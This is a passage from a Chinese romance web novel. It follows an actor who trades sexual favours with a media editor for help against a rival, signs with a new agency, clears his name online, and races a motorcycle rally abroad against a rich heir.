叶成哲试探地凑上前,主动半跪在毛毯上,极低的姿态仰望着江林,脸蹭了蹭他的膝盖,这次江林没有踹开他。 “没关系,什么事我都能帮你解决好。”叶成哲笑容更深了些,他微微撑起身体,手按在江林腿上,凑到脸侧,狐狸眼盯着他瞧。 江林两人四目相对,他下颌肌肉紧绷,“你知道是谁在整我?” 叶成哲凑到他唇角亲了一口,轻笑道:“知道啊,你不知道吗?” “我想知道他背后的人是谁。”江林轻轻掐住他的脖子,眯了眯眼,眼底闪烁着凶狠。 叶成哲的喉结无措地在他手下滚动了一瞬,“石燕影视的老板,他和梨子台的副台长有交情,也和某博的总经理是旧识。” 听起来背景似乎很不得了。 江林静静看着叶成哲,轻轻掐着他的下颌,轮廓分明的五官让人移不开眼,“我不光想要摁死邱宇成,还要他身后的人也完蛋。” 叶成哲闻言怔了怔,随后嘴角扯起一点笑容:“江遂你的胃口好大啊。” 江林微微用力,叶成哲因为疼痛蹙眉又展开,江林盯着他的脸,没什么表情地问:“不行吗?” 叶成哲手勾住江林的脖子,抬脚坐在他腿上,“你似乎把自己在我这里看得太重要,太自大了吧,我对你不一定满意呢,江遂。” 江林松开手,靠在沙发上,和他拉开距离,嘴角滑过嘲弄的笑容,一双黑沉沉的眼似乎看透了叶成哲骨子里藏着的狡猾:“你对我不满意就不会投资辛珂的电影,更不会在我出事的第一时间联系人没让我在警局出事,这些警察都告诉我了。” “我看你这个贱狗是对我太满意了。” 叶成哲呼吸一窒,是啊,他就是对江林太满意了,求而不得,江林都快变成他梦中的执念了。所以江林进去,他是第一个得到消息的,找关系打点好,保证江林平安无事。 “你都知道了”叶成哲贴到他脸侧,鼻尖蹭了蹭他高挺的鼻梁,嗓音被欲望撩拨得极为沙哑:“我可以帮你,都可以的” 叶成哲说话间唇瓣轻轻蹭过他的唇,“可是你能答应我的一切要求吗?” 江林很冷漠地说道:“不能。” 叶成哲呼吸和声音都停住,没想到都到了这个时候,江林还会拒绝他。 “我不是变态,叶成哲。” 但江林越不答应,叶成哲就越想要,骨头像是有蚂蚁在爬动,突然就对江林更加满意了,他喜欢江林骨子里那桀骜不驯的劲儿。 叶成哲轻轻吐出一口气,不说话了,他吻住江林的唇,两人唇舌交缠,江林不吝啬自己的吻。 他像个贪婪鬼,贪吃鬼,一点点吃着江林的唇,沿着唇角往下吻去,江林的肌肤很白,修长的脖颈微微伸展。 叶成哲有些动情地在他下颌吻着,感受着细腻皮肉下的温度,似乎闻到他身上好闻的味道,嘬了几口他喉间凸出的喉结,还用牙齿轻咬。 叶成哲肆无忌惮在他脖子上留下了痕迹,这些都是江林的默许。 他扯开江林的扣子,看着江林脸上依旧没什么表情,叶成哲双眼发红,凑上前和他接了个吻,然后道:“你的身材比杂志上看起来更好。” 江林只是轻轻撩起眼皮平静的看了他一眼,叶成哲便忍不住在他嘴唇上轻咬了一下,整个人像是着了迷般,喃喃道:“江遂,你好像一点也不喜欢我” 江林闻言,才纡尊降贵般扯着他的头发,让他不由自主地仰起脸,在他唇上落下一吻,敷衍又冷淡地留下一句:“喜欢你,自己玩吧。” 说完这句话,江林又放开了他,叶成哲喉结滚动盯着那张脸就不由自主地吞咽了口水,然后埋入江林怀中,紧紧抱住他的腰。 江林表情有轻微的变化,只是低头轻飘飘看了他一眼 /// 叶成哲眼前一片闪烁着星星,眼前一黑又恢复正常,他看着江林站在床边,好像在低头看着自己。他不由自主地看直了双眼,瞳孔发愣,整个人都有些呆呆的,显得混乱。 江林视线扫过叶成哲脖子上的红痕,是叶成哲自己掐的,人在窒息的时候,肌肉会紧绷,所以江林也没有阻止他的行为,人总不会把自己掐死。 叶成哲很配合江林,几乎不会反抗他,但会主动挑衅江林,见他不为所动,又会哀求他,江林也只是面无表情地看着他。 叶成哲几乎没办法影响江林一分一毫的情绪和动作,他有自己的节奏和想法,江林根本不会管自己的死活。 他甚至怀疑,江林刚刚有没有把他当成真人 江林抬手抓着他的胳膊,将人提起来,捏着他的下巴,让他清醒:“脑子清醒了吗?” 叶成哲那张平时阴柔倨傲的脸上只剩下乖顺,舔了舔他指头,点头:“清醒了,daddy” 江林轻扇了一下他的脸,眼神有些鄙夷:“老子不是你爹。” 叶成哲眨眨眼,攥着他的手放在脸颊处贴了贴,讨好道:“我帮你,我都帮你” 半个小时后,叶成哲从浴室出来,整个人不似刚刚的混乱,双眼透着一丝精明的光,唇角带着笑。 他不再是那个跪在江林前面求他的模样,他给江林端来一杯咖啡。 江林静静看着他冷静又理智的模样,心中微微嘲讽,叶成哲大概要变卦了。 果不其然,叶成哲笑眯眯地看着他:“刚刚你提出的要求,我都能满足,但是我也有条件。” 第87章 叶成哲脖颈侧的痕迹还清晰可见, 此刻却姿态轻松,表情平静,唇角勾着浅浅的笑。 江林也不意外他的两面三刀和翻脸不认人, 端起醇厚的咖啡抿了抿,也不着急, 裹着浴巾,露出的修长脖子上是斑驳的吻痕:“你说。” 叶成哲凶得很,胸肌锁骨上都有他的咬痕。 “第一, 你和蒋红解约来我们公司。”叶成哲唇角带着嘲弄的笑:“不必拒绝,像你们公司那种小作坊, 公关能力不行,商务能力也差,你继续在里面待着只会越来越差,彻底被所有人踩在脚下。” 江林靠在沙发上,任由咖啡的热气撩动着他的睫毛,眼皮泛着红, 整张脸显得有些发沉。 “我会给你重新安排好经纪人和顶尖的商务团队。”叶成哲继续说。 “这对于我来说似乎不算坏事。”江林倒没有非蒋红不可的坚持, 他顺势提到:“我的违约金呢?我之前签的是十年长约。” “这就是第二点了, 我可以先给你垫付违约金,但我也需要收取报酬, 两年内, 你给公司的带来的营收不能少于这个数。”叶成哲八的手势:“到达了,违约金你就不用管了。” “如果达不到呢。”江林自然知道天下没有白吃的晚餐,八亿对于一个刚刚冒头的‘劣质’艺人来说几乎是天文数字。 “咱们在商言商, 你需要向我全额赔付违约金,当然以我们的关系,我只需要你待在我身边直到玩腻为止, 是随叫随到的噢,且不能拒绝我的任何要求。”叶成哲润了润有些沙哑的嗓子,“你放心在这两年里,桃利经济公司的资源都会向你倾斜,这次的公关危机,我们可以帮你全权解决,以后你只需要利用你的能力,好好拍戏。” 江林黑沉中带着点冷冷的笑容,叶成哲骨子里奸诈的性子,看着笑眯眯的好说话,背地里却能咬下你的肉来。 叶成哲望着虽然年少却成熟的江林,他身上还有自己留下的痕迹,暧昧旖旎,带着他的标记般,他凑到江林身侧,微微弯腰想要靠近。 江林抬手将人推开,表情平静:“可以,你提的要求我也全部答应。” 叶成哲颇为遗憾地叹了一口,见江林要走,还在出声挽留:“不留下来过夜吗?” “没兴趣。”江林换好衣服离开的时候,天还没黑,小庄在车库等他。 /// 江林的澄清帖是在舆论最高峰时候发出来的,他先是道歉占用了公共资源,他承认了自己和江友善的关系,江友善是他的亲生父亲,却从未养育他。 他还在母亲肚子里的时候,母亲就和江友善离婚,跟其他男人闪婚了。 顺便放出自己的毒/品检测为阴性,以及无犯罪证明,从未做过违法乱纪的事情。 像这种事可大可小,如果江林身后没人,封掉微博,捂住江林的嘴,任由舆论发酵,江林将再无翻身的可能。 就算江林澄清,依旧很多网友不买账,辱骂的人占大多数。 江林被经纪人嘱咐不要在网上再做任何回应。现在不管江林再发什么,都会有人无脑喷。 然后接近两三天,有不同的营销号接二连三地爆料江林三四岁的时候被亲生父亲找上门暴打的视频和证人,同时放出母亲在江林火了之后索取的高额生活费的截图。 【不是,江遂真的是一个爹不疼娘不爱的小孩啊。】 【所以这是勒索不成恼羞成怒故意黑自己的亲儿子?】 【问自己的儿子要钱算勒索吗?明星赚那么多不应该多给一点吗?】 【但是这个钱给赌鬼对吗?】 然后由江林的初中老师爆料,江林能读完初中这些钱都是一位好心老师垫上的,每次问江林父母要学费都是一句话,没钱。 【难道原生家庭不好就要被拖累一辈子吗?】 【别卖惨了,支持九漏鱼和劣质艺人滚出娱乐圈!带坏未成年人。】 【江遂也不是什么好人吧,剧组潜规则霸凌同事,这是惯犯吧。】 【让子弹飞一会。】 都说造谣一张嘴,辟谣跑断腿,网友们只愿意相信他想相信的东西,江林就算再怎么澄清,想让他滚出娱乐圈的不再少数,被各路买的黑粉围剿,只要帮江林说话,就会被打上爱男、中专小太妹的标签。 粉丝沉淀下来,憋着一股子气,这下不用虐粉,全部都变成了战斗粉和死忠粉,再加上《依尘传》仍在播出,进入了高潮收尾阶段,江林的演技在明若卿的严格要求下完全过关。 他的粉丝不减反增,前期的营销已经把名声打出去了,现在江林的团队控制着热搜,只要看见苗头就给撤下去,保证现阶段江林不会活跃在公众的视野中。 江林澄清之后,一周内所有公关将准备的东西放出去,然后不再上热搜。 邱宇成吸毒的消息马上掩盖住了江林的热度。 检查结果是阳性,事实胜于雄辩,邱宇成的所有电视剧和节目纷纷下架,一夜之间娱乐圈查无此人。 互联网没有记忆,江林现在沉寂下来,只是为了等待下一次的复出,正好就此转型,从爱豆变成演员,桃子台那边的违约金桃利经记公司帮他赔付了。 “你怎么知道他吸毒?”江林看着跪在地上的叶成哲,脸颊泛着点红,桌上摆放着江林签好字的合约。 叶成哲脸上也冒着热气,舔了舔唇,抬眼笑眯眯地看着他:“娱乐圈我什么都知道。” 江林今天是来签合同的,小庄正在外面等他,薄薄的玻璃门,外面人交谈的声音都依稀可闻,但叶成哲却胆大包天地和他做着见不得人的勾当。 他的门甚至没有门锁的,只要有人从外面推开,就能直接看见平时趾高气昂、矜持贵气的叶主编凑在俊美男星的腿边变着法子地取悦他。 江林可有可无地垂着眼,表情冷冷淡淡的看不出任何的情绪变化,他沉着语调:“金姐说cokn手表的代言让我接,但我记得这个代言一直是于璋的” 于璋一直是桃利经纪公司的一哥,cokn手表算是国内比较高端的品牌。 “嗯哼。”叶成哲声音有些含糊,舌间有些绕绕的,“商务资源都是流通的,这次算是小试牛刀,如果销量大幅度下降的话,你就完蛋咯。” 江林挑眉,眉宇间有些慵懒,“能有你完蛋?” cokn的知名度摆在那里,不太可能大幅度下降,除非江林黑料塌房。说到底,这还是给江林的福利。 “唔。”叶成哲自下而上地望着江林,整个画面不堪入目,他轻声说:“蒋红找我来闹了,怪我把她的摇钱树挖走了。” “红姐人不错。”江林淡淡说道,显得有些薄情。他的喉结滚了滚,闭上眼睛,他不认为自己跳槽是违背道义的。 “你是我的人,什么时候成为她的了?”叶成哲轻声说着。 江林没说话,不置可否 “叶主编?”新闻部主持人拿着下期的选题来给主编过目审核。 办公室内,叶主编和帅气男星坐在一起,两人似乎在聊天,男星脸上没有多少笑容,薄唇轻抿,不冷不淡。 叶主编回头看着他,嘴唇有些红,衣襟也像平时那样敞着,只是脖子上的肌肤有些涨红。 主持人有些狐疑地朝着垃圾桶看了看,里面除了几张糖纸空无一物,空气中的味道也有些不对,他凝了凝神把方案交给叶成哲:“这是周天准备直播的内容” “行,你先下去吧,我下班之前联系你。”叶成哲点了点头,笑着说道。 “《南辕北辙》什么时候进组?”叶成哲问,对于江林的事情还是比较放在心上的。 “年后。”江林回答。 “那部刑侦剧卓智明原本保险起见想把你的角色删掉的,我给他送了几瓶酒才保住你的戏份你最好是值得我为你花费的这些心思。”叶成哲虽然的确对江林的身体很满意,但他的骨子里是一个商人,也是从他身上看见了利益,才会这么大方。 而江林和叶成哲谈合作,也是看中了他身后的背景和团队,总之来说互利互惠而已。 “年前这十来天算是给你放假了,咱们暂时低调点。”叶成哲起身拿起合同,又想到什么:“助理要不要换?我给你再找两个?” “不用。”江林也不准备多留。 “行,助理我帮你一起挖过来。”叶成哲眯着眼盯着江林,似笑非笑地说道:“你和他不会存在什么奸情吧?” 江林也静静和他对视,薄情地说道:“和你有什么关系?” 扔出这句话,江林便抬脚离开,原本的综艺节目早就录制完毕,蒋红那边签约的活动全部都被取消了,他迎来了十多天的年假。 等白宝戎想找江林叙叙旧,却发现江林商用电话放在小庄手上,自己买了个新手机,出国玩去了。 异国他乡,没人认识他,江林乐得自在,在国外滑雪冒险,海里潜水摸鱼,在空中滑翔俯瞰城市,领略异域风光,地中海式的建筑优雅漂亮 在国外大年初一并不算节日,而江林也不准备过,正在酒馆听着曲儿,旁边都是金发碧眼的外国人,不少男男女女和江林搭讪,他只是笑着摆手拒绝,看着舞池中肆意舞蹈的奔放男女。 他姿态轻松,穿着低调休闲的服饰,撑着下巴享受着片刻的平静,喝了一口看起来很漂亮的酒,上面漂浮着一个黄色的樱桃,水杯中反射出五光十色的光线,他瞥见一个熟人,动作微微顿住。 他身旁站着一个白金发色的美艳女生,两人挽着手走进来,旋即去了楼上。 江林没有动作,眯了眯眼,瞳孔中闪烁着昏暗的光。旁边有女生把他当成猎物,想要征服,走到他身边说了几句话。江林礼貌微笑,表示自己听不懂,眉眼抛给瞎子,女生愤怒离开。 他看着旁边不知道吸食了什么的男子东倒西歪地摔倒,脸上呈现□□的表情,手脚都微微抽搐着,周围的人似乎见怪不怪,男子很快被拖走了。 江林咬着吸管,百无聊赖地和调酒师聊天,有一搭没一搭,精神放空,他这张脸在整个酒馆都是极为突出的存在,黑发黑眸,长相优越富有独特又含蓄的味道。 江林站起身来准备离开,肩膀被轻轻拍了拍,他偏头望过去,一位穿着红裙的长发美人,自信又紧张地问道:“可以请你喝杯酒吗?” “当然可以,美丽的女士。”江林唇角弯了弯,用流利的外语回答 “嘿,哥,这就是我跟你说的帅哥!”吉尔拉着江林的胳膊站在一众朋友面前,扬起下巴,炫耀自己这一趟的‘收获’。 而在沙发中间靠坐着的男人,在这里并不突出的金色短发,昏暗灯光下那立体的五官洒下丝丝阴影,正是艾璟。 吉尔是他同父异母的兄妹。 艾璟目光定定落在江林身上,又不冷不淡的移开,似乎并不在意江林的意图是什么,吉尔身为成年女士,应该可以为自己的选择负责。 “艾总,好久不见。”江林主动和艾璟打招呼,用的是自己的母语。 吉尔稍稍惊讶一瞬,“omg,你们认识?” “是的,我和你哥算是朋友?”江林坦荡地回答。 “噢,那太好了。”吉尔挤开艾璟旁边的人,拉着江林坐下,她似乎很喜欢江林,拿出自己引以为傲的调情手段,但江林似乎不为所动。 “哥,林是大明星吗?”吉尔偏头问艾璟,手臂勾着他的肩膀。 艾璟却并不热切,只是淡淡道:“不了解。” “哥你太冷淡了,没有礼貌!”吉尔控诉到,不满他的冷漠。 艾璟不置可否,甚至没有否认。 吉尔便又和江林热聊起来。 江林按住吉尔伸向自己胸口的手,抱歉地笑了笑:“可能很遗憾女士,我是个同性恋。” 吉尔明媚张扬的脸上出现瞬间的停顿,紧接着瞪大了双眼,震惊地看着他:“什么?” “我是同性恋。”江林重复道。 吉尔骂了一句脏话,但很快又调整好自己的表情,礼貌微笑地看着江林,伸出自己的手,“那重新认识一下,姐妹。” 江林唇角笑容灿烂真切了几分,“很高兴认识你。” 他们是朋友聚会,江林是吉尔带来的意外,大风头都被江林抢走了,自然有人不满,其中默林最为愤怒,因为他还曾经是吉尔的床上伴侣。 “噢,那你的屁股应该很坏。”默林玩笑似的说出恶毒的话,并没有因为江林是同性恋而对他有任何的改观,他依旧讨厌这个来路不明的人。 吉尔不赞同地看着默林,“闭嘴,默林。” 默林却不在乎她的呵斥,反而更加生气她的保护,冷哼一声:“同性恋就是令人作呕的坏狗。” 恰好底下的歌手音乐在这个间隙停下,旁边的朋友都在围观这场闹剧,纯乐子人。 周边声音一静,艾璟听见旁边一道磁性又好听的声音说道:“那我看你像个欠/操的婊/子。” 他的声线悦耳,读起外文来标准圆润,一句脏话都被他说得极为好听,身心愉快。 吉尔惊讶地看着江林的反击,艾璟也微微侧目,阴影下青年唇角微勾,侧脸轮廓分明,骨相立体,眼神桀骜不羁。 默林在这里算势力不小,大大小小的夜店他家占百分之五十,江林一个外国人,默林整死他比捏死一只蚂蚁还容易。 所有人哄笑一声,开始调侃默林。 默林的表情变得很阴沉,上前一步就想和江林动手,吉尔挡在江林前面,脸冷了下来,推开他的肩膀,呵斥道:“他是我的朋友,你想干什么?” 默林沉声喊道:“吉尔!” “冷静下来。”吉尔拧眉看着他:“这只是一个玩笑,像你刚刚说的那样。” 默林后槽牙都咬碎了,最终忍气吞声地坐下来,心中却在盘算怎么弄死江林。 而旁边的朋友似乎也察觉到了江林的有趣,纷纷和他交流起来。 江林来者不拒,游刃有余地社交,总是能一针见血地聊到别人的兴趣上,吉尔在旁边看着他,越看越遗憾,为什么这么完美的人会是一个gay呢? “那你的兴趣是什么呢?兄弟。”有人这般开口问道。 “很多,滑雪、骑车、跳伞”江林和他礼貌碰杯,从未表现任何一点胆怯。 对方像是捕捉到了什么关键词:“骑车?跑车?” “不是,玩的是摩托车。”江林喝了一口酒,垂下眼,喉结缓缓滚动一瞬,嘴里是甜丝丝的酒味。 “噢?”对方眼神似乎一下扫到了艾璟身上。 艾璟倒是没什么反应,掀起眼皮和江林对视了一眼。 默林便又阴恻恻地开口:“吉尔,他是冲着你哥来的呢。” 吉尔嘴角抽搐,没说话。 “怎么?”江林挑眉询问。 “小子,你喜欢摩托车有什么证明吗?”默林指了指艾璟,飞快说道:“你知道艾璟是专业车手吗?你想引起他的主意吧。” 江林耸了耸肩,对默林没有多少怨气,气都当场出了,“不是,我并不知道他也玩。” “我不信。”默林唇角一弯,旁边的熟悉他的人也是眼神一闪,知道他要干什么了。 “最近艾璟要参加魔石岛的摩托车拉力赛,如果你不是骗人胆小的老鼠就一起参加吧。” 江林还未回答,吉尔率先截住了他的话,“默林你疯了吗?” 魔石岛的摩托车拉力赛非常残酷,险峻的环岛,没有高额的奖金,只是一群摩托车爱好者的天堂。每年举行的比赛都是造成人员伤亡,尽管天空有直升机在比赛全天监控,及时救助伤员,但只要发生意外,在那种速度下,一般都是车毁人亡。 在上岛比赛之前还需要签下生死状 默林却直直看着江林,骂道:“你是个只敢躲在女人后面的胆小鬼。” 江林不受激将法,反客为主和他谈起了条件:“我参加了,对我而言有什么好处呢?” 吉尔转头看向他,难以置信地尖叫:“你们都疯了吗?” 默林从头到尾就没觉得江林真的会赛车,就算江林会,也不能在那场赛事中得到好处,最大的可能就是他认怂道歉。 “你敢吗?你敢参加,我把我的爱车送给你,价值百万美元” 江林拒绝了,“不需要,太贵重了。我如果真的参加比赛,以后不准再和吉尔说一句话。” 默林怔了怔,仍不敢相信江林有这个胆量,他咬牙道:“好的,我答应你。” “比赛什么时候开始。”江林表现出的镇定自若让默林慌了一下,他强撑着面子,等着江林认怂,眼珠子都快凸出来了。 “报名时间早就截止了,比赛是在后天。”有人开口。 “报名时间截止了。”江林看着默林,扬眉询问他这怎么算。 默林看向艾璟,脸上带着点讨好的笑容,勉强勾起唇角:“艾璟,你能不能想个办法?” 江林的视线随着众人落在艾璟身上,他一直处于事不关己的状态,疏离在热闹的气氛之外,对谁都不热络,也不过分冷漠。 艾璟抬眼和江林的视线对上,琥珀色的瞳孔沁着些冷淡的情绪,他点了点头:“可以。” 魔石岛的摩托比赛,持续了几十年,现场围观的观众就有上万人,平均车速达到了200km/h,最高车速达到了三百多公里每小时,在这种速度下,人又在毫无遮挡保护的情况下肉包铁,只要出意外就是致命的。 “你不该逞强的,林。”吉尔依旧在絮絮叨叨地说着,但能从她的眼神中看出了对江林的敬佩,为他的勇敢而震惊心喜。 “别担心,我真的会骑。”江林笑了笑,经历过很多世界,他的时间比一般人更多,所以学习的东西自然也只多不少。 在他没有摆烂的那段时间里,他比自己想象的还要努力。 不过他的确有些生疏了,所以昨天找赛道骑了一整天练习。 魔石岛旁边就是悬崖,赛道窄,且多弯,每个弯道的切入点角度都要精准,争分夺秒才有可能取得好成绩,稍有不慎就是粉身碎骨的结果。 “就算没有成绩,你也比默林那个怂货好多了。”吉尔似乎有些愧疚把他卷入比赛中,一直低声安慰他。 艾璟就在吉尔身边,周围围着不少人嘘寒问暖,踩低江林:“那个外国人简直太大胆了,以为自己是超级英雄吗?” “我等着看他出丑,小心把性命留在这里。” “就算参加也无法证明什么,可能只是软脚虾好面子,最后中途又会退赛噢。” “” 艾璟没有发表任何评论,这种比赛的参加需要很多证明资料,但因为他是现在最大投资人之一,所以江林才能破例。 其实艾璟不该让江林参加的,男人之间争强好斗的个性和强撑要面子的作风,都会导致一条生命的死亡。 但他没有阻止,他依旧是那个观点,成年人应该还为自己的行为买单。 艾璟不得不承认江林能在异国他乡这么快找到一辆能参赛符合专业标准的机车就很不容易了。 江林穿上了橙色的赛车服,采用了防火、防摔、防水等安全性能比较高的材料制成的,挺拔高挑的身材,大长腿被紧紧包裹着,比例极好,英俊帅气,他的赛车服上有49号的标志。 江林抬脚跨上摩托车,微微俯身,戴着手套。观众退场,第一圈暖胎圈。 江林仔细地观察了一下路线,他是第一次骑这条赛道。但很多骑手都是在这里进行过专业的练习,他想要取得好的成绩显而易见地困难。 这群有钱人里面除了艾璟都不玩这个,像这种会对生命造成威胁的游戏他们只会避而远之。只有艾璟这个疯子喜欢,从小喜欢这些刺激的运动。 也许是衣食无忧,所以在精神上的需求阈值很高。 这样的速度与激情勉强能让他觉得肾上腺素分泌从而产生一些满足感。 无人机环岛拍摄,吉尔有些担忧之色,其他人都是兴致勃勃地想看江林怎么出丑。 “吉尔”默林骑虎难下,表情难看,江林居然真的敢上场。 吉尔瞥了他一眼:“珍惜你和我说话的机会。” 默林:“” 随着一声枪声响起,风驰电掣的摩托车一个个像是离弦之箭,发动机的轰鸣声响彻整片天空,观众只觉得眼前一阵风闪过,甚至看不清人。 艾璟穿着黑白相间的赛车服,他心底有过惊讶之色,江林就在他身后,咬得很紧 前面四辆遥遥领先,江林和艾璟以及另外三辆车是第二梯队,这些赛车手都是顶尖选手,江林做成这样已经将巴掌狠狠抽在默林脸上了。 他是真的会骑,而不是为了和艾璟套近乎。 曲折的弯道,旁边就是险峻的山崖,有防护措施,但作用不大,江林灵活压弯,身形微偏,保持着距离,又紧紧跟在艾璟身后。 手下的车在震颤,需要不一般的臂力压住,耳朵的轰鸣声不绝于耳。 江林眼睁睁地看着某个想要弯道超车的选手因为没压住车身速度过快,摩托车直接失控冒起了白烟,人冲出栏杆,车身粉碎,碎片导致身后的骑手发生意外,漂移倒地,在地上磨出火星。 他精神一凝,过弯道的时间精确到了秒,他车速提起,压弯延迟刹车差点和艾璟的车碰到一起。 艾璟拧眉,连忙改了一下道,车身发生震动,飞快调整好,也导致他的车道变化,速度慢了下来。 之后,江林也一直跟在艾璟身后,时不时作出超车的架势,但又没有成功。 最后十来个弯道,艾璟正式开始提速,机车的金属铁皮外壳闪烁着细微的火花,江林逐渐落后,出现乏力。 艾璟不再关注他,专注超车提速,他前几年都有进前三,但从未夺冠,所以这次他冲着第一名来的。 这些愿意参赛玩机车的,都将自己荣誉看得比命都重要。甚至计算好了过弯的角度,想要超车很难,就算艾璟的车改造顶级。 艾璟头盔下的脸面无表情,前面两位你争我赶,都是老对手了,一位在弯道很极限,一位则是直道更有优势。 前两人在弯道车身几乎重叠,趁着两辆车的交锋,艾璟松开一点刹车,贴着更外圈贴近悬崖的赛道超车,这是一个极限的赛道,轮胎都险险差点擦过悬崖。 有惊无险地被艾璟超过,等他处于第一名后,强大的发动机让他的速度远超后面的选手。 他这是完全将生死置之度外的比赛疯劲儿。 过了终点线,艾璟停下车,转头看向空中的计时器,发现江林的名字就在他身后,他以非常微弱的优势取胜。 刚刚因为极限超车而产生兴奋感停止在了高点,他微微蹙起眉。江林的机车他检查过,不算顶尖的配置,轮胎是软胎的材质,虽然抓地力强,在过弯的时候优势显著,但耐磨性比较差。环岛骑行路程并不短,基本没可能在这种情况下在后期还这么强,以这么快的速度超车 从江林前几个弯道表现出来的生疏可以看得出来对场地也不熟悉 而且这么短的时间,艾璟心中产生了一种被放水的微妙憋屈感觉,这种莫名的感觉让心底有些烦躁,同时又荡起了连连波澜。 如果江林有这种驾车技术的话,根本不可能前期超不过他。 艾璟的视线朝着不远处的江林看去。 橘色在阳光下极为耀眼,浓艳的色彩,仿佛一团燃烧的火焰。 江林取下头盔,摇了摇头,黑发在空中飘扬。他用手抓了抓刘海,头发因为紧张有些汗湿,露出光洁的额头和深邃的眉眼,脸颊微红,眼底还跳跃着兴奋之色,察觉到艾璟的视线,朝着他轻轻挑动了眉梢。 平时对艾璟还算温和的视线,此刻却变得挑衅和桀骜,唇角弯着自信张扬的笑。 艾璟收回视线,眉梢浅浅一蹙,心中有了莫名的情绪,甚至想要和江林正儿八经地争个高下。 第一场的第一名和第二名,没人知道居然是DL的二公子和一位男明星,都是业余比赛选手。 “我靠,不是吧,林你真的行啊?!!”吉尔等到两人结束,顿时激动地抓着江林的手。 “是啊,我们还以为你吹牛呢,你是真玩啊?”江林的表现让众人刮目相看,眼底也少了些轻视,多了尊重。 只有默林黑沉着脸,一言不发,看向江林的眼神变得极为复杂。 “走走走,我们去吃一顿,玩一玩,好好准备后面的比赛。” 拉力赛是所有的比赛时间加在一起,所以后面还有十五天的比赛。 江林微笑着没有拒绝。 他和艾璟的交流仅仅那个眼神而已。 十来个人在餐厅就座,似乎有人察觉到艾璟的情绪不高,说话间都有些小心翼翼的。 吉尔和江林嘀咕着:“噢,林,如果你不是同性恋那将是一件非常完美的事情。” 江林无奈一笑,“抱歉。” 他喝酒表示歉意,让吉尔更对他好感倍增,毕竟她身边的男人都哄着她,捧着她,恨不得把心脏挖出来证明自己的真心,很少见江林这种拒绝她的。 偏偏江林还如此完美,样貌好,风度佳,谈吐让人挑不出错,如沐春风 “林,默林他只是性格有些差,但人品很好的”有人开始给默林打圆场,似乎不想将关系闹得这么僵硬。 “”江林不接茬,漆黑的眼瞳看着那人,幽深平静,让他再说不出下一句话。 没道理江林玩命比完赛之后,三言两句就能抹除他们之间的矛盾。 “艾璟,你找到了一个很好的对手!”那人拿着瓶喝,醉醺醺的看着江林和艾璟两人。 艾璟难得露出一点烦躁的表情,只是冷冷看他一眼,没表态。 平时他不会这样没风度不理人。 但那人喝多了,完全也感觉到自己遭受冷淡,侃侃而谈:“如果早一点认识林,你一定不会成为同性恋,毕竟我们吉尔太美丽啦” 江林笑着回答:“我也觉得。” “之前都是我们误会你啦,原来你并不是为了艾璟来的,是真的很厉害……” 用晚餐,几人再魔石岛提供的酒店住下,还有温泉可供舒缓身心,但江林的性取向让他们有了防备心,所以纷纷拒绝和江林一起泡温泉,最后只剩下艾璟没有表态。 江林下半身围着浴巾,趴在岸上,肩膀宽阔,肌肉结实,垒块分明,磅礴的力量感,他眯着眼享受片刻的安静,整个浴池只有他一个人。 其他人经历一天比赛似乎也没有这个闲情逸致和同性泡温泉。 “你今天故意让着我?”艾璟的声音从江林头顶响起,他稍稍抬眼。艾璟穿戴整齐站在他前面,江林微微拉开距离,漫不经心地看着他。 “没有啊。”江林语气懒散,用不太在意的语气说道:“你是第一名不开心吗?” 艾璟面上没有什么表情,混血的五官占尽了优势,他说:“下场你尽全力,我们再比一场。” 江林轻笑一声,稍稍扬起下巴,眼睛都弯了弯,笃定地说道:“你玩不过我,艾总,我不想让你不开心。” 热气腾腾的浴池晕染着青年的脸,眼尾发红,唇角咧着笑,脸上是年少轻狂的嚣张,这是艾璟第一次看见这么狂的人。 艾璟唇微微抿紧,眉眼间闪过不悦,但江林说得不错,在他熟悉的场地,配置比江林更高的情况下他都无法优势取胜,在别的情况下可能会更糟。 “他们刚刚说我没有心怀不轨,只是单纯地喜欢赛车。”江林揉了揉脖子,冷白的肌肤被熏染得粉红,流畅的曲线性感,他直勾勾看着他:“你知道的吧,我就是冲着你来的。” 艾璟没有露出惊讶之色,静静看着他,不管他的目的,好胜心驱使他控制不住地注意了江林。 “我明天的机票回国,不能陪您继续玩了。” 艾璟表情这才有了变化,声音有些冷淡:“你真的很恶劣。” 他故意挑起他的兴趣又不继续满足他的胜负欲,不是性情恶劣是什么? 江林笑了:“怎么?让您赢也不开心?输了你还不得杀了我?” “赢得不明不白更让人恶心。”艾璟拧着眉。 江林无赖说:“艾总对自己的车技这么没信心,断定我放水啊。” “我说我比你强,你还真信了啊?” 艾璟怔了怔,这才发现自己走进了江林设置的死胡同里。 江林扬起得意的笑,一排整齐的小白牙显得极为夺目。 第88章 江林按点按时地坐飞机回国, 小庄在机场接他。他没有什么行李,简单的黑色小箱子,仅仅戴了一个口罩, 刘海半遮住眼帘。 “等下,你是江遂吗?”他走得快, 身后的女生追得急,嗓音便有些喘。 江林犹豫了一瞬,还是停住了脚步, 回头看着两个结伴的女生,眼睛温和地弯了弯:“你们好。” “天哪, 我的妈,我是你的粉丝,可以跟我合个照吗?”女生显然没想到会在这里遇见江林,简直像是做梦般。 江林点头,扯下口罩和她快速拍完照,感觉到越来越多的视线看过来, 重新遮住脸, 匆匆道:“我先走了, 你们注意安全。” “好,江哥新年快乐, 一定要开心啊, 我们会一直支持你的”女生抱着自己的手机,神情激动,眼眶都湿了湿。 江林找到小庄的车, 天上飘着雪,他穿着一件驼色大衣,国内和国外两种截然不同的天气, 路面上撒上了盐。他搓了搓自己泛红的脸,没想到自己的知名度已经到了被人要合照的程度了吗? “江哥,新年快乐呀!”小庄笑眯眯回头看着江林,还给他递了个小红包。 江林怔了一下,抬眼看着小庄温暖的笑容,伸手接过红包,“谢谢。” “不客气,没多少钱,讨个喜庆而已。”小庄驱车开上高速,脸上充斥着一种喜庆的气氛,丝毫没有新年期间被抓来上班的怨气:“哥可是我的衣食父母呢。” 小庄的工资不光来自经纪公司,江林经常会给他补贴,数额不小,他愿意跟着江哥干一辈子。 江林看了下手机,才发现今天不过大年初三。 他登上微博扫了一眼自己的粉丝量,这才发现居然涨了几百万,账号直逼千万粉丝了。 前些天《依尘传》播完,某平台的评分高达8.7,是近几年来最高的电视剧评分了,但关于男主的热搜都被桃利公司花大价钱压下去。 江林的粉丝对他很心疼,看他销声匿迹在整个网络,每天都在他微博评论和私信中安慰他,黑子越来越少,毕竟江林的不回应让他们觉得索然无味,但也有不少坚持不懈地和粉丝对线的。 他在超话看了一下,里面刷新出一张照片,就是刚刚他和女生拍的那张照片。 